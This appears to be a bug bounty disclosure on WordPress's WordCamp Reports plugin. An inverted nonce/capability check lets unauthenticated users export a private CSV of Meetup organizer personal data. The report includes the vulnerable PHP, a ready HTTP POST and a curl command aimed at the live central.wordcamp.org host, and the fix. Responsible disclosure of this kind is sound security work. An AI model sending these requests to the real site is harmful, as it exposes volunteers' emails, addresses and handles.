WordPress · Report #3871816
Unauthenticated private CSV export of Meetup organizer PII via broken authz check in WordCamp Reports
Summary
An inverted authorization check in WordCamp Reports (Meetup_Details::export_to_file()) used && instead of || between nonce verification and the view_wordcamp_reports capability check. Unauthenticated requests with an invalid nonce could export a private CSV of Meetup organizer fields (public => false).
How it was found
Summary
Broken authorization check in the WordCamp Reports plugin allows an unauthenticated attacker to export a private CSV containing Meetup organizer PII (email, postal address, Slack handles, usernames, notes) from central.wordcamp.org.
The bug is a logic error in Meetup_Details::export_to_file(): the security gate uses && instead of ||, so the export is blocked only when the request has an invalid nonce AND the user already has the privileged capability. Unauthenticated / low-privilege users therefore pass the check.
This is not by design. Sibling report classes in the same plugin correctly require both a valid nonce and the view_wordcamp_reports capability. The export intentionally sets 'public' => false to include private organizer fields.
Affected Asset / Component
- Program asset: WordCamp.org
- Host: https://central.wordcamp.org
- Component: wordcamp-reports plugin
- File: public_html/wp-content/plugins/wordcamp-reports/classes/report/class-meetup-details.php
- Function: Meetup_Details::export_to_file() (hooked to admin_init)
- Intended capability: view_wordcamp_reports
Vulnerable Code
Broken check in class-meetup-details.php:
if ( ! wp_verify_nonce( $nonce, 'run-report' ) && current_user_can( CAPABILITY ) ) { return; }
$options = array( 'fields' => $fields, 'public' => false, // includes private organizer fields );
Correct pattern used by sibling reports (example: class-meetup-sponsors.php):
if ( ! wp_verify_nonce( $nonce, 'run-report' ) || ! current_user_can( CAPABILITY ) ) { return; }
Truth table of the broken condition
| Nonce valid | Has view_wordcamp_reports | Early return? | Export proceeds? |
|---|---|---|---|
| No | No (anonymous) | No | Yes (vulnerable) |
| No | Yes | Yes | No |
| Yes | No | No | Yes (vulnerable) |
| Yes | Yes | No | Yes (intended) |
Only privileged users with a bad nonce are blocked. Everyone else, including unauthenticated attackers, can trigger the private CSV export.
Private fields available when 'public' => false include organizer meta such as Email, Address, Slack, Organizer Name, Extra Comments, WordPress.org usernames, etc. (get_private_data_fields() + Meetup_Admin::meta_keys('organizer')).
The plugin documentation explicitly states private data must not be exposed publicly.
Steps To Reproduce
Preconditions: None. No authentication required.
- As an unauthenticated user (incognito / no cookies), send a POST request to WordCamp Central admin that fires admin_init (for example admin-ajax.php):
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: central.wordcamp.org Content-Type: application/x-www-form-urlencoded
action=Export%20CSV&meetup-details-nonce=invalid&fields%5B%5D=Email&fields%5B%5D=Address&fields%5B%5D=Slack&fields%5B%5D=Organizer%20Name&fields%5B%5D=Extra%20Comments&fields%5B%5D=Name
Example curl (use only for minimal confirmation; do not mass-exfiltrate data):
curl -i -X POST 'https://central.wordcamp.org/wp-admin/admin-ajax.php'
-H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode 'action=Export CSV'
--data-urlencode 'meetup-details-nonce=invalid'
--data-urlencode 'fields[]=Email'
--data-urlencode 'fields[]=Address'
--data-urlencode 'fields[]=Slack'
--data-urlencode 'fields[]=Organizer Name'
--data-urlencode 'fields[]=Name'
-
Observe that the broken check does not return early for an unauthenticated requester with an invalid nonce.
-
Observe the response is a CSV download generated by export_to_file_common() containing private organizer fields (not limited to public report fields).
-
Control comparison (proves intent): repeat the same request pattern against another report export in the same plugin that uses the correct || check (for example Meetup Sponsors). That export should refuse unauthenticated requests. Only Meetup Details is broken.
-
Optional code confirmation: in the public repo WordPress/wordcamp.org (branch production), inspect class-meetup-details.php around the export_to_file() nonce/capability check and compare with class-meetup-sponsors.php.
Recommendations
Replace the inverted condition with the same pattern used by sibling reports:
if ( ! wp_verify_nonce( $nonce, 'run-report' ) || ! current_user_can( CAPABILITY ) ) { return; }
Also recommended:
- Audit all export_to_file() handlers in wordcamp-reports for the same operator mistake.
- Prefer fail-closed helpers (for example early current_user_can + check_admin_referer / wp_die on failure).
- Add a regression test: unauthenticated POST with action=Export CSV must not emit CSV content.
Impact
Unauthenticated attackers can download a private CSV containing Meetup organizer personally identifiable information (emails, physical addresses, Slack handles, WordPress.org usernames, and free-text notes) from WordCamp Central.
This is caused by an inverted authorization check (&& instead of ||) in Meetup_Details::export_to_file(). The intended access control requires both a valid nonce and the view_wordcamp_reports capability, but the broken condition allows anonymous users with an invalid nonce to bypass both checks.
Impact:
- Confidentiality breach of volunteer/organizer PII managed by WordCamp.org
- No authentication required
- No valid nonce required
- Low attack complexity (single HTTP POST)
- Potential CSRF abuse against browsers that can reach wp-admin
- Violates the plugin's own private/public data separation model ('public' => false exports)